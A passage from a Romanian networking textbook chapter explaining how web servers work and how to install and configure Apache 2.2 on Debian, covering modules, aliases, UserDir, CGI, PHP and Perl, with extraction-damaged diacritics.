web. HTTP permite browser-elor s solicite informaii serverelor web i s obin pagini web
de la acestea. Paginile sunt localizate prin intermediul URL-ului. Formatul unei pagini web este
de obicei cod HTML care este identificat n protocolul HTTP prin folosirea unui MIME content
type.
Browser-ele sunt renumite datorit rzboiului navigatoarelor (browser wars), competiie
legat de dominarea pieei browser-elor. Termenul este folosit pentru dou perioade de timp:
lupta dintre Internet Explorer i Netscape Navigator, la sfritul anilor '90, i creterea
popularitii Mozilla Firefox, n detrimentul Internet Explorer, ncepnd cu anul 2004. Aceste
rzboaie se rsfrng i asupra utilizatorilor, care prefer anumite browser-e n faa altora. n
momentul scrierii acestei cri, Internet Explorer domin piaa browser-elor cu o pondere de
50%, urmat de Mozilla Firefox cu 45%.
Sistemele Unix prezint i browser-e n linie de comand utile n cazul testrii rapide a unui
site sau n absena interfeei grafice. Printre acestea se numr lynx, links, elinks, w3m.
9.1.5 Servere web
Un server web (server HTTP) este un serviciu/daemon care are rolul de a furniza
documente clienilor web. Clientul web se va conecta la server i i va solicita acestuia o
resurs necesar.
Dei aplicaiile care implementeaz un server web difer n detaliu, conin aceleai
caracteristici de baz. Fiecare server web accept o cerere HTTP din reea sau din Internet i
furnizeaz un rspuns HTTP ctre solicitant. n general, rspunsul conine text HTML, dar
poate fi un fiier text, o imagine, sau alt tip de document.
Cele mai cunoscute servere web sunt:
Apache HTTP Server, de la Apache Software Foundation
Internet Information Services (IIS), de la Microsoft
Google Web Server de la Google
Sun Java Web Server, de la Sun Microsystems
Zeus Web Server, de la Zeus Technology
314 | R e e l e L o c a l e

9.1.5.1 Funcionarea unui server web
Serverele web translateaz componenta cale (path) din cadrul unui URL ntr-o resurs din
sistemul local de fiiere. Calea specificat n URL de ctre client este relativ la directorul
rdcin al serverului web (webroot).
Spre exemplu, se presupune situaia n care un utilizator folosete URL-ul
http://www.samplesite.org/pub/file.html. Dup introducerea acestui URL n bara de
adrese a browser-ului, acesta l translateaz ntr-o conexiune ctre www.samplesite.org cu
urmtoarea cerere HTTP 1.1:
GET /pub/file.html HTTP/1.1
Host: www.samplesite.org
Serverul web care ruleaz pe www.samplesite.org va concatena calea solicitat la
directorul su rdcin (webroot). Pe un sistem Debian/Ubuntu care ruleaz un server Apache,
directorul rdcin implicit este /var/www. Astfel, resursa solicitat de client va fi intrarea din
sistemul local de fiiere /var/www/pub/file.html. n continuare, serverul web va citi fiierul
i l va transmite clientului. Rspunsul va conine diverse antete necesare i fiierul efectiv.
Imaginea urmtoare este o reprezentare grafic a modului de funcionare a unui server
web:

9-1: Funcionarea serviciului web
9.2 Apache HTTP Server
Apache HTTP Server este actualmente cel mai utilizat server de web. Conform sondajelor
realizate de ctre NetCraft, n iunie 2008, 49.12% din serverele web rulau Apache
1
. Dincolo de
faptul c este principalul server web, cu o dominaie i mai accentuat pe sisteme Linux/UNIX,
motive suplimentare pentru studierea Apache sunt i performana ridicat a acestuia, numrul
mare de opiuni de configurare, posibilitatea adugrii de noi caracteristici (majoritatea sub
form de module compilate), o serie de utilitare asociate i integrarea facil cu alte aplicaii.
Versiunea Apache 2.x a fost o rescriere substanial a codului versiunii Apache 1.x,
adugnd multe mbuntiri. Acestea includ folosirea thread-urilor UNIX, suport mbuntit

1
http://news.netcraft.com/archives/web_server_survey.html
utilizator
MUA
server Web
GET /pub/file.html HTTP/1.1
Host: www.samplesite.org
HTTP 200 OK +
resursa
/webroot/pub/file.htm
l
sistem de
fiiere
U
RL
315 | Wo r l d W i d e W e b

pentru platforme non-UNIX (precum Windows), un nou API, suport IPv6, introducerea unui
nivel de portabilitate, Apache Portable Runtime
1
. Versiunea stabil curent a serverului este
2.2.9.
Setul de interfee de programare (API) pe care Apache l pune la dispoziie este cel care
asigur extensibilitatea acestuia prin intermediul modulelor. Pachetul principal conine
serverul HTTP, urmnd ca solicitrile suplimentare s fie satisfcute prin adugarea de noi
module, precum mod_ssl, mod_perl, mod_php, mod_auth, etc.
Versiunea de Apache folosit pe parcursul acestui capitol este 2.2, disponibil n versiunea
stabil Debian Etch, n Debian Lenny i ultimele versiuni de Ubuntu.
9.2.1 Instalare
Instalarea versiunii Apache 2.x se realizeaz n mod obinuit folosind apt-get:
ragnarok:~# apt-get install apache2
Reading package lists... Done
Building dependency tree... Done
The following extra packages will be installed:
apache2-mpm-worker apache2-utils apache2.2-common
The following NEW packages will be installed:
apache2 apache2-mpm-worker apache2-utils apache2.2-common
0 upgraded, 4 newly installed, 0 to remove and 0 not upgraded.
Need to get 1765kB of archives.
After unpacking 4547kB of additional disk space will be used.
Do you want to continue [Y/n]? Y
[...]
Module authz_groupfile installed; run /etc/init.d/apache2 force-reload to enable.
Module authn_file installed; run /etc/init.d/apache2 force-reload to enable.
Module authz_host installed; run /etc/init.d/apache2 force-reload to enable.

Setting up apache2-mpm-worker (2.2.3-4+etch1) ...
Starting web server (apache2)....

Setting up apache2 (2.2.3-4+etch1) ...
Exceptnd componentele de baz, se instaleaz i o serie de module i se pornete
serverul. Dup cum se observ, se instaleaz 4 pachete. Acestea sunt:
apache2: conine interfaa control a serverului web;
apache2-mpm-worker: conine implementarea de tip threading worker a serverului;
apache2-util: conine o serie de utilitare folositoare unui server web (logresolve,
htpasswd, rotatelogs, etc.);
apache2.2-common: conine modulele Apache2 standard, incluznd suportul SSL.
9.2.2 Interaciunea cu serverul web
Exist mai multe posibiliti de a interaciona cu serverul:
comanda apache2 este principala interfa de lucru cu serverul Apache; aceasta permite
pornirea, oprirea i repornirea serverului cu posibilitatea precizrii unor opiuni de configurare
dinamic i a unor informaii despre server (lista de module compilate, lista de directive):
ragnarok:~# /usr/sbin/apache2
Usage: /usr/sbin/apache2 [-D name] [-d directory] [-f file]
[-C "directive"] [-c "directive"]
[-k start|restart|graceful|graceful-stop|stop]
[-v] [-V] [-h] [-l] [-L] [-t] [-S]
[...]
ragnarok:~# apache2 -l
Compiled in modules:
core.c
mod_log_config.c
mod_logio.c
worker.c
http_core.c
mod_so.c
ragnarok:~# apache2 -k stop
ragnarok:~# apache2 -k start
ragnarok:~# apache2 -k restart

1
http://apr.apache.org/
316 | R e e l e L o c a l e

comanda apache2ctl este o interfa de control a serverului Apache; este comanda
preferat pentru pornirea i repornirea serverului, permind i verificarea corectitudinii
fiierului de configurare:
ragnarok:/home/razvan# apache2ctl stop
ragnarok:/home/razvan# apache2ctl start
ragnarok:/home/razvan# apache2ctl restart
ragnarok:/home/razvan# apache2ctl configtest
Syntax OK
/etc/init.d/apache2 este un script care interfaeaz interaciunea cu serverul; poate fi
folosit pentru pornirea, repornirea, oprirea serverului, i pentru recitirea fiierului de
configurare:
ragnarok:/home/razvan# /etc/init.d/apache2
Usage: /etc/init.d/apache2 {start|stop|restart|reload|force-reload}
ragnarok:/home/razvan# /etc/init.d/apache2 stop
Stopping web server (apache2)....
ragnarok:/home/razvan# /etc/init.d/apache2 start
Starting web server (apache2)....
ragnarok:/home/razvan# /etc/init.d/apache2 restart
Forcing reload of web server (apache2)... waiting .
ragnarok:/home/razvan#
Fiierele de jurnalizare pentru server sunt /var/log/apache/error.log i
/var/log/apache/access.log.
Fiierele de configurare se gsesc n directorul /etc/apache2/. Structura acestor fiiere va
fi prezentat n continuare.
9.2.3 Configurare global
Dup cum s-a precizat, configurarea serverului Apache2 se realizeaz prin intermediul
fiierelor din /etc/apache2/. Acest director conine mai multe intrri dup cum se poate
vedea n listarea de mai jos. Dac la versiunea Apache1.x exista un singur fiier de configurare,
nevoia de modularitate a condus la apariia mai multor intrri cu roluri bine stabilite. Fiierele
de configurare conin directive simple
1
, precum:
User www-data
sau directive compuse, denumite i seciuni de configurare
2
, precum:
<Files ~ "^\.ht">
Order allow,deny
Deny from all
</Files>
Rolul fiecrei intrri din directorul /etc/apache2/ este:
apache2.conf conine configurrile globale pentru serverul Apache2; directivele din acest
fiier se refer la funcionarea serverului (numrul de procese deschise, intervale de timeout
etc.) i la includerea de module care vor afecta toate domeniile administrate de server (virtual
hosts); apache2.conf, fiind fiierul principal de configurare, include toate celelalte fiiere:
[]
# Include module configuration:
Include /etc/apache2/mods-enabled/*.load
Include /etc/apache2/mods-enabled/*.conf

# Include all the user configurations:
Include /etc/apache2/httpd.conf

# Include ports listing
Include /etc/apache2/ports.conf

# Include generic snippets of statements
Include /etc/apache2/conf.d/
[]

1
http://httpd.apache.org/docs/2.2/mod/quickreference.html
2
http://httpd.apache.org/docs/2.2/sections.html
317 | Wo r l d W i d e W e b

httpd.conf conine diferite configurri pentru utilizatori;
ports.conf definete portul/porturile pe care serverul ascult conexiuni;
envvars definete variabilele de mediu folosite de apachectl;
conf.d/ conine fiiere de configurare pentru diverse servicii care folosesc Apache2; exemple
sunt servicii de webmail, navigare n repositories, wiki etc.;
mods-available/ definete modulele Apache instalate n sistem; fiierele de aici au extensia
.load, indicnd modulul care trebuie ncrcat; exist i fiiere .conf care definesc directive
suplimentare de configurare pentru modul;
mods-enabled/ definete modulele active pe durata rulrii serverului; fiierele de aici sunt
legturi simbolice ctre fiierele din mods-available/;
activarea unui modul se face, aadar, prin crearea unei legturi simbolice spre fiierul asociat
din mods-available/ i repornirea serverului; se poate folosi utilitarul a2enmod;
sites-available/ definete domeniile pentru care serverul poate fi configurat s rspund
la cereri; este folosit pentru virtual hosting; n prim faz serverul definete un singur domeniu
(cel implicit) n cadrul fiierului cu numele default;
sites-enabled/ definete domeniile (virtual hosts) pentru care serverul rspunde la cereri;
ca i n cazul modulelor, fiierul asociat unui domeniu este o legtur simbolic spre fiierul din
sites-available/; adugarea unui nou domeniu se face prin crearea instanei asociate n
sites-available/; activarea acelui domeniu se face prin crearea unei legturi simbolice n
sites-enabled/ i repornirea serverului; se recomand folosirea utilitarului a2ensite.
ATENIE: Fiierele specificate sunt specifice distribuiilor Debian/Ubuntu. Dei alte
distribuii au, de asemenea, o structur a fiierelor de configurare, locaia i denumirea
acestora pot diferi.
9.2.3.1 Configurarea domeniului implicit
Dup cum s-a precizat, domeniile gestionate de Apache sunt servite prin intermediul
virtual hosts. n prim faz Apache gestioneaz un domeniu implicit definit n fiierul
/etc/apache/sites-available/default. Activarea acestui domeniu este implicit prin
existena legturii simbolice /etc/apache/sites-enabled/000-default.
Coninutul implicit al fiierului /etc/apache/sites-available/default este
prezentat n continuare:
ragnarok:~# cat /etc/apache2/sites-enabled/000-default
NameVirtualHost *
<VirtualHost *>
ServerAdmin webmaster@localhost

DocumentRoot /var/www/
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
# This directive allows us to have apache2's default start page
# in /apache2-default/, but still have / go to the right place
RedirectMatch ^/$ /apache2-default/
</Directory>
[...]
ErrorLog /var/log/apache2/error.log

[...]
</VirtualHost>
Nu se va insista asupra directivelor legate de virtual hosting ntruct vor fi prezentate n
seciunea TODO.
O directiv important este DocumentRoot. Aceasta precizeaz directorul rdcin
(webroot) de unde vor fi recuperate resursele cerute de clieni. Directorul rdcin pentru
318 | R e e l e L o c a l e

domeniul implicit este /var/www. Acest lucru nseamn c o cerere de forma GET
/cale/catre/resursa HTTP/1.0 va impune serverului transmiterea fiierului
/var/www/cale/catre/resursa ctre client.
Directiva Directory specific proprieti pentru un anumit director. Pentru directorul
/var/www, directiva specific proprietile de mai jos:
Options Indexes FollowSymLinks MultiViews
Directiva Options impune folosirea fiierelor index din director *vezi 9.2.3.2+, urmrirea
legturilor simbolice existente n director i adugarea unei extensii la cale.
AllowOverride None
Directiva AllowOverride este folosit n tandem cu fiierul .htaccess care configureaz
drepturi de acces n Apache [vezi 9.2.3.5+. Aceasta precizeaz care directive definite n fiierul
.htaccess pot suprascrie alte directive. n cazul de fa, folosirea None face inutil prezena
unui fiier .htaccess.
Order allow,deny
allow from all
Directivele allow i deny sunt folosite pentru a permite sau refuza accesul la director.
Directiva Order indic ordinea n care acestea vor fi evaluate. Dac ar exista o directiv deny
from all, atunci orice acces ar fi refuzat pentru c directiva deny este analizat ultima.
RedirectMatch ^/$ /apache2-default/
Directiva RedirectMatch realizeaz redirectarea pentru o cale ctre resurs dat. n cazul
de fa se realizeaz redirectarea pentru resursa /. Acest lucru nseamn ca o cerere de forma
GET / HTTP/1.0 va fi echivalent cu cererea GET /apache2-default/ HTTP/1.0.
Dup cum se observ, cile ctre resurse din cererile HTTP pot fi date sub form de
directoare. n aceast situaie serverul web are dou variante de rspuns:
transmiterea coninutului directorului;
transmiterea unei resurse implicite, n cazul n care aceasta se afl n director.
A doua variant are prioritate n faa primei. Resursa implicit este, de obicei, un fiier cu
numele index.html sau altul precizat prin directiva DirectoryIndex din modulul mod_dir.
Mai multe detalii sunt precizate n seciunea 9.2.3.2.
Un lucru de reinut este faptul c directivele prezente n cadrul directivei compuse
<VirtualHost> ... </VirtualHost> pot suprascrie directivele din fiierul global de
configurare /etc/apache/apache2.conf. n cazul de fa, s-a specificat fiierul de jurnalizare
a erorilor pentru domeniul gestionat implicit:
ErrorLog /var/log/apache2/error.log
9.2.3.2 Configurare module
Facilitile de baz ale serverului Apache pot fi extinse prin intermediul modulelor.
Modulele de baz sunt instalate prin intermediul pachetului apache2-common. Fiecare modul
este de fapt o bibliotec partajat; fiierul asociat are extensia .so. Pentru adugarea unui
modul se folosete directiva LoadModule.
Un modul are asociat un fiier .load n care se folosete directiva LoadModule. Acest fiier
se gsete n directorul /etc/apache2/mods-available/. De exemplu, fiierul asociat
modulului SSL este /etc/apache2/mods-available/ssl.load:
ragnarok:~# cat /etc/apache2/mods-available/ssl.load
LoadModule ssl_module /usr/lib/apache2/modules/mod_ssl.so
319 | Wo r l d W i d e W e b

Biblioteca partajat asociat este /usr/lib/apache2/modules/mod_ssl.so. De obicei,
numele biblioteci este mod_nume.so, unde nume este numele modulului.
Unele module, precum SSL, au asociate un fiier de configurare cu extensia .conf. Un
astfel de fiier de configurare conine directive specifice modulului respectiv:
ragnarok:~# cat /etc/apache2/mods-available/ssl.conf
<IfModule mod_ssl.c>
[...]
SSLRandomSeed startup builtin
SSLRandomSeed startup file:/dev/urandom 512
SSLRandomSeed connect builtin
SSLRandomSeed connect file:/dev/urandom 512
[...]
</IfModule>
Pentru ca un modul s fie utilizat de serverul web se creeaz o legtur simbolic n
/etc/apache2/mods-enabled/ ctre fiierul .load i, eventual, .conf din directorul mods-
available/. Se recomand folosirea utilitarului a2enmod:
ragnarok:~# a2enmod ssl
Module ssl installed; run /etc/init.d/apache2 force-reload to enable.
Configurarea unui modul, realizat fie n fiiere .conf specializate sau fiiere globale,
folosete directive ncadrate de directiva IfModule. Directiva IfModule testeaz dac modulul
respectiv este ncrcat n server. Astfel, pentru a configura mod_ssl se folosete o construcie
de forma:
<IfModule mod_userdir.c>
...
</IfModule>
iar pentru a configura mod_alias se folosete o construcie de forma:
<IfModule mod_alias.c>
...
</IfModule>
n continuare sunt prezentate cteva aspecte ale configurrii unor module importante
Apache: mod_dir, mod_alias, mod_userdir, mod_cgi.
9.2.3.2.1 Configurare fiiere index
Fiierele index sunt fiierele care sunt afiate n cazul n care calea dintr-o cerere HTTP
este un director. Astfel, dac un utilizator folosete URL-ul http://www.example.com/pub/,
se transmite cererea GET /pub/ HTTP/1.0 sau GET /pub/ HTTP/1.1 ctre server. Serverul
va trebui s ofere resursa /var/www/pub/ care este un director. n acest moment, serverul
caut n director un fiier index i l transmite clientului.
Configurarea fiierelor index se realizeaz prin intermediul modulului mod_dir. Modulul
este activat implicit:
ragnarok:~# ls /etc/apache2/mods-enabled/dir*
/etc/apache2/mods-enabled/dir.conf /etc/apache2/mods-enabled/dir.load
Fiierul /etc/apache2/mods-available/dir.conf ctre care puncteaz legtura
simbolic /etc/apache2/mods-enabled/dir.conf permite configurarea fiierelor index:
ragnarok:~# cat /etc/apache2/mods-available/dir.conf
<IfModule mod_dir.c>
DirectoryIndex index.html index.cgi index.pl index.php index.xhtml
</IfModule>
Configurarea existent impune serverului cutarea pe rnd a fiierelor index.html,
index.cgi, index.pl, index.php, index.xhtml n cazul n care calea ctre resurs este un
director. Dac se dorete adugarea ca fiier index un fiier cu numele index.txt va trebui
alterat configuraia existent:
320 | R e e l e L o c a l e

ragnarok:~# cat /etc/apache2/mods-available/dir.conf
<IfModule mod_dir.c>
DirectoryIndex index.html index.cgi index.pl index.php index.xhtml
</IfModule>
9.2.3.2.2 Configurare aliasuri
De multe ori este dificil, incomod, sau chiar imposibil s se stocheze unele resurse servite
de serverul web n ierarhia dat de /var/www. Se poate dori, spre exemplu, ca accesul la
documentaia existent n /usr/share/doc s se fac prin intermediul unui URL de forma
http://localhost/doc/. Soluia la aceast problem este folosirea aliasuri.
Un alias asociaz o nume de resurs ce poate fi parte a unui URL cu o resurs din sistemul
de fiiere. Spre exemplu, dac se dorete ca folosirea URL-ului http://localhost/doc/ s
conduc la afiarea resurselor din /usr/share/doc, se va utiliza o directiv de forma:
Alias /doc/ /usr/share/doc
Folosirea de aliasuri este condiionat de existena modulului mod_alias. Acest modul
este ncrcat implicit la pornirea serverului Apache2:
ragnarok:~# ls /etc/apache2/mods-enabled/alias.*
/etc/apache2/mods-enabled/alias.load
Configurarea de aliasuri se face n fiierul global de configurare
/etc/apache2/apache2.conf. Directivele de configurare sunt ncadrate de directiva
<IfModule>. De obicei configurrile se realizeaz la nivel de domeniu virtual deoarece
directorul webroot difer. Configuraia de alias pentru domeniul implicit este prezentat n
continuare:
ragnarok:~# cat /etc/apache2/sites-enabled/000-default
NameVirtualHost *
<VirtualHost *>
[...]
Alias /doc/ "/usr/share/doc/"
<Directory "/usr/share/doc/">
Options Indexes MultiViews FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from 127.0.0.0/255.0.0.0 ::1/128
</Directory>
</VirtualHost>
Se observ crearea aliasului /doc/ aa cum s-a precizat mai sus. O directiv Alias are
asociat o directiv Directory n care se precizeaz proprietile directorului peste care s-a
realizat aliasul.
9.2.3.2.3 Configurare UserDir
De obicei, un utilizator al sistemului de operare dorete publicarea unor pagini web fr a
fi nevoie de a contacta administratorul sistemului. Utilizatorul creeaz un director local care va
fi automat folosit de serverul web.
Implementarea unei astfel de facilitai se realizeaz n Apache prin intermediul modulului
UserDir: mod_userdir. Acest modul nu este activat implicit n cadrul Apache2 i trebuie activat
manual:
ragnarok:~# cd /etc/apache2/mods-enabled/
ragnarok:/etc/apache2/mods-enabled# ln -s ../mods-available/userdir.conf userdir.conf
ragnarok:/etc/apache2/mods-enabled# ln -s ../mods-available/userdir.load userdir.load
ragnarok:/etc/apache2/mods-enabled# apache2ctl restart
Crearea manual a legturilor simbolice este destul de dificil i susceptibil la erori.
Soluia recomandat este folosirea scripturilor a2enmod i a2dismod oferite de Debian pentru
activarea, respectiv dezactivarea modulelor din server:
ragnarok:~# a2dismod userdir
321 | Wo r l d W i d e W e b

Module userdir disabled; run /etc/init.d/apache2 force-reload to fully disable.
ragnarok:~# a2enmod userdir
Module userdir installed; run /etc/init.d/apache2 force-reload to enable.
Serverul trebuie repornit pentru ncrcarea modulului.
Configuraia pentru modulul UserDir se afl n /etc/apache2/mods-
available/userdir.conf:
ragnarok:~# cat /etc/apache2/mods-available/userdir.conf
<IfModule mod_userdir.c>
UserDir public_html
UserDir disabled root

<Directory /home/*/public_html>
AllowOverride FileInfo AuthConfig Limit
Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
</Directory>
</IfModule>
Ca de obicei, directivele de configurare sunt ncadrate de directiva IfModule.
Directiva
UserDir public_html
precizeaz ca webroot pentru fiecare utilizator directorul local public_html. Posibilitatea
publicrii de documente dintr-un director propriu de utilizatorul privilegiat este dezactivat:
Opiunile pentru director sunt date de directiva Directory:
<Directory /home/*/public_html>
Cmpul * este nlocuit cu numele utilizatorului.
Astfel, directorul webroot local al utilizatorului andrei folosit pentru publicarea de
resurse prin intermediul serverului web este /home/andrei/public_html.
Accesarea directorului webroot local se realizeaz prin intermediul unui URL de forma
http://www.example.com/~andrei/. Astfel, accesul la pagina /home/andrei/public_html/
pub/file.html se realizeaz prin intermediul URL-ului http://localhost/~andrei/
pub/file.html.
Ca un exerciiu, se presupune c exist un set de utilizatori care au directorul home n
/home/students/username, unde username este numele utilizatorilor. Administratorul de
sistem decide c i utilizatori vor putea publica documente web. n aceast situaie
configuraia modulului UserDir va fi:
<IfModule mod_userdir.c>
[]
<Directory /home/students/*/public_html>
AllowOverride FileInfo AuthConfig Limit
Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
</Directory>
</IfModule>
Configuraia a fost adugat la configuraia anterioar. Serverul web trebuie repornit
pentru a ncrca modificrile efectuate.
Se observ c s-au stabilit proprietile pe directorul /home/students/*/public_html,
unde * va fi nlocuit cu numele utilizatorului. Astfel, dac utilizatorul diana are directorul
home n /home/students/diana, folosirea URL-ului http://localhost/~diana/
docs/chapter.doc va conduce la obinerea fiierului /home/students/diana/public_html/
docs/chapter.doc.
9.2.3.2.4 Configurare CGI
CGI (Common Gateway Interface) este un protocol care permite interfaarea ntre o
aplicaie i un server web. Acest lucru permite transmiterea cererilor de la clieni ctre
aplicaie. Dup rularea aplicaiei, serverul web va ntoarce rezultatul acesteia ctre client.
322 | R e e l e L o c a l e

Un program CGI este specificat prin intermediul unui URL, spre exemplu
http://www.example.com/simple.cgi. Folosirea acestui URL impune serverului web rularea
programului asociat. Serverul web colecteaz rezultatul rulrii programului i l transmite
clientului. Acest lucru are dezavantajul rulrii unui proces separat pentru fiecare instan de
cerere. O soluie este folosirea de module precum mod_php sau mod_perl [vezi 9.2.3.3] care
permit integrarea unui interpretor n serverul web. O alt soluie este folosirea de limbaje de
programare precum C care pot atinge o eficien mai mare prin terminarea mai rapid a
execuiei.
Suportul de CGI pentru Apache este obinut prin intermediul modulului mod_cgi. ntruct
nu este activat implicit, trebuie activat manual:
ragnarok:~# a2enmod cgi
Module cgi installed; run /etc/init.d/apache2 force-reload to enable.
ragnarok:/etc/apache2/mods-enabled# apache2ctl restart
Configurarea directorului ce conine scripturile CGI se realizeaz la nivel de domeniu
virtual. Astfel, configuraia CGI pentru domeniul virtual implicit este:
ragnarok:~# cat /etc/apache2/sites-enabled/000-default
NameVirtualHost *
<VirtualHost *>
[...]
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
[...]
</VirtualHost>
Directorul de unde se vor executa scripturile CGI este definit prin intermediul directivei
ScriptAlias i este, implicit, /usr/lib/cgi-bin/. Accesul la scriptul /usr/lib/cgi-
bin/sample.cgi se realizeaz prin intermediul unui URL de forma http://localhost/cgi-
bin/script.cgi. Opiunea ExecCGI este cea care specific serverului execuia scriptului prin
intermediul unei aplicaii externe.
Un script simplu CGI este urmtorul program C:
ragnarok:~# cat sample.c
#include <stdio.h>

int main (void)
{
printf ("Content-type: text/html\n\n");
printf (
"<html>\n"
"\t<head>\n"
"\t\t<title>Pagina mea</title>\n"
"\t</head>\n"
"\t<body>\n"
"\t\t<h1>Hello, World!</h1>\n"
"\t</body>\n"
"</html>\n"
);

return 0;
}
ragnarok:~# gcc -Wall sample.c -o sample.cgi
ragnarok:~# mkdir /usr/lib/cgi-bin/
ragnarok:~# cp sample.cgi /usr/lib/cgi-bin/
Programul C a fost compilat, numele executabilului fiind sample.cgi; extensia .cgi este
opional. Executabilul a fost copiat n /usr/lib/cgi-bin. ntruct directorul nu exista
anterior a fost creat.
Pentru testare putem folosi telnet sau netcat:
ragnarok:~# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
323 | Wo r l d W i d e W e b

GET /cgi-bin/sample.cgi HTTP/1.0

HTTP/1.1 200 OK
Date: Sun, 23 Sep 2007 14:02:19 GMT
Server: Apache/2.2.3 (Debian)
Content-Length: 102
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>Pagina mea</title>
</head>
<body>
<h1>Hello, World!</h1>
</body>
</html>
Connection closed by foreign host.
Cererea trimis serverului a fost GET /cgi-bin/sample.cgi HTTP/1.0. Serverul trimite
ca rspuns clientului mesajul HTTP/1.1 200 OK mpreun cu un antet de mesaj i pagina web
rezultat prin rularea scriptului CGI.
9.2.3.3 Instalare module
Alte module pot fi instalate cu ajutorul utilitarului apt-get. Pachetele asociate modulelor
Apache sunt denumite libapache2-mod-nume, unde nume identific modulul. O list a
modulelor instalabile Apache poate fi obinut cu ajutorul comenzii apt-cache:
ragnarok:/etc/apache2# apt-cache search libapache2-mod-
libapache2-mod-auth-kerb - apache2 module for Kerberos authentication
libapache2-mod-auth-pam - module for Apache2 which authenticate using PAM
[...]
libapache2-mod-bt - BitTorrent tracker for the Apache2 web server
libapache2-mod-chroot - run Apache in a secure chroot environment
libapache2-mod-musicindex - Browse, stream, download and search through MP3/Ogg/FLAC
files
[...]
libapache2-mod-perl2 - Integration of perl with the Apache2 web server
libapache2-mod-python - Apache 2 module that embeds Python within the server
libapache2-mod-ruby - Embedding Ruby in the Apache2 web server
libapache2-mod-php4 - server-side, HTML-embedded scripting language (apache 2 module)
libapache2-mod-php5 - server-side, HTML-embedded scripting language (apache 2 module)
Pentru exemplificare se vor instala modulele mod_php5 i mod_perl2 care permit rularea
de scripturi PHP sau Perl prin intermediul serverului web.
9.2.3.3.1 mod_php
Suportul PHP se obine prin intermediul modulului mod_php5:
ragnarok:~# apt-get install libapache2-mod-php5
Reading package lists... Done
Building dependency tree... Done
The following extra packages will be installed:
apache2-mpm-prefork php5-common
Suggested packages:
php-pear
The following packages will be REMOVED:
apache2-mpm-worker
The following NEW packages will be installed:
apache2-mpm-prefork libapache2-mod-php5 php5-common
0 upgraded, 3 newly installed, 1 to remove and 0 not upgraded.
Need to get 3044kB of archives.
After unpacking 5870kB of additional disk space will be used.
Do you want to continue [Y/n]? Y
[...]
Se observ c se nlocuiete modulul de threading worker cu modulul prefork. Modulul
este automat activat dup instalare:
ragnarok:~# ls /etc/apache2/mods-enabled/php5.*
/etc/apache2/mods-enabled/php5.conf /etc/apache2/mods-enabled/php5.load
Fiierul de configurare php5.conf definete extensiile de fiiere pentru care va fi utilizat
modulul:
324 | R e e l e L o c a l e

ragnarok:~# cat /etc/apache2/mods-enabled/php5.conf
<IfModule mod_php5.c>
AddType application/x-httpd-php .php .phtml .php3
AddType application/x-httpd-php-source .phps
</IfModule>
Pentru testare folosim fiierul test.php de mai jos:
ragnarok:~# cat test.php
<?php
phpinfo ();
?>
ragnarok:~# cp test.php /var/www/
Folosirea URL-ului http://localhost/test.php duce la afiarea unei pagini de informaii
despre PHP.
9.2.3.3.2 mod_perl
Suportul Perl se obine prin instalarea modulului mod_perl2:
ragnarok:~# apt-get install libapache2-mod-perl2
La fel ca modulul mod_php5, mod_perl2 este automat adugat la lista de module
ncrcate. Pentru ncrcarea modulului trebuie repornit serverul.
ragnarok:~# apache2ctl restart
Un fiier de test este urmtorul:
ragnarok:~# cat test.pl
#!/usr/bin/perl

print "Content-type: text/plain\r\n\r\n";
print "Hello, World!\n";
Scripturile Perl sunt folosite ca scripturi CGI. Pentru aceasta, scriptului Perl test.pl i sunt
acordate drepturi de execuie, dup care este copiat n /usr/lib/cgi-bin/:
ragnarok:~# chmod a+x test.pl
ragnarok:~# cp test.pl /usr/lib/cgi-bin/
9.2.3.4 Configurare drepturi n sistemul de fiiere
Dou directive din fiierul de configurare precizeaz utilizatorul i grupul din sistemul de
operare folosite de serverul Apache pentru accesarea resurselor web: User i Group definite n
fiierul principal de configurare:
User www-data
Group www-data
Dac utilizatorul www-data nu are drepturi suficiente pe resursa cerut atunci nu serverul
i va returna un mesaj de tip Forbidden. De obicei, un fiier va trebui s ofere drepturi de
acces de citire utilizatorului www-data pentru ca acesta s poat fi transmis clientului. Dreptul
de scriere este necesar pentru upload de fiiere i este folosit mai rar; un exemplu de utilizare
a dreptului de scriere este un wiki.
nainte de a prezenta modul n care serverul web interacioneaz cu drepturile pe sistemul
de fiiere, vor fi reamintite mecanismele de drepturi de acces pe un sistem Unix.
9.2.3.4.1 Recapitulare drepturi Unix
Dup cum se tie, un sistem Unix are trei tipuri de drepturi:
citire (read r): un fiier poate fi vizualizat i se poate lista coninutul unui director;
scriere (write w): un fiier poate fi editat i se pot crea noi intrri ntr-un director; intrrile n
sistemul de fiiere pot fi terse;
325 | Wo r l d W i d e W e b

execuie (execute x): un fiier poate fi executat i un director poate fi parte a unei ci;
informal spus, se poate trece printr-un director.
Orice utilizator poate avea oricare din aceste drepturi de acces asupra unei intrri n
sistemul de fiiere. Pentru o gestiune mai facil, un fiier are grupat utilizatorii n trei categorii:
user (u): utilizatorul care deine fiierul
group (g): grupul care deine fiierul
other (o): ceilali utilizatori
Schimbarea utilizatorului sau grupului care deine fiierul se realizeaz cu ajutorul
comenzii chown.
Fiecare din aceste trei categorii au asociate drepturi de citire, scriere i execuie. De obicei
drepturile pe un fiier sunt date prin concatenarea drepturilor pentru entitile de mai sus.
Astfel gruparea de drepturi rwx r-x wx nseamn c utilizatorul are toate drepturile asupra
fiierului, grupul are drepturi de citire i execuie, iar ceilali au drept de scriere i execuie.
Drepturile de acces pe o intrare din sistemul de fiiere se vizualizeaz cu ajutorul comenzii
ls l:
ragnarok:~# ls -l
total 49
drwx------ 24 root root 792 Feb 24 2007 dir
drwxr-xr-x 2 root root 152 May 31 11:55 Desktop
-rw-r--r-- 1 root root 179 Nov 14 2006 dbootstrap_settings
---------- 1 root root 6 Jan 21 2007 huhu
-rw-r--r-- 1 root root 1336 Nov 14 2006 install-report.template
-rw------- 1 root root 2006 Nov 14 2006 mbox
-rwxr-xr-x 1 root root 7158 Sep 23 17:01 sample.cgi
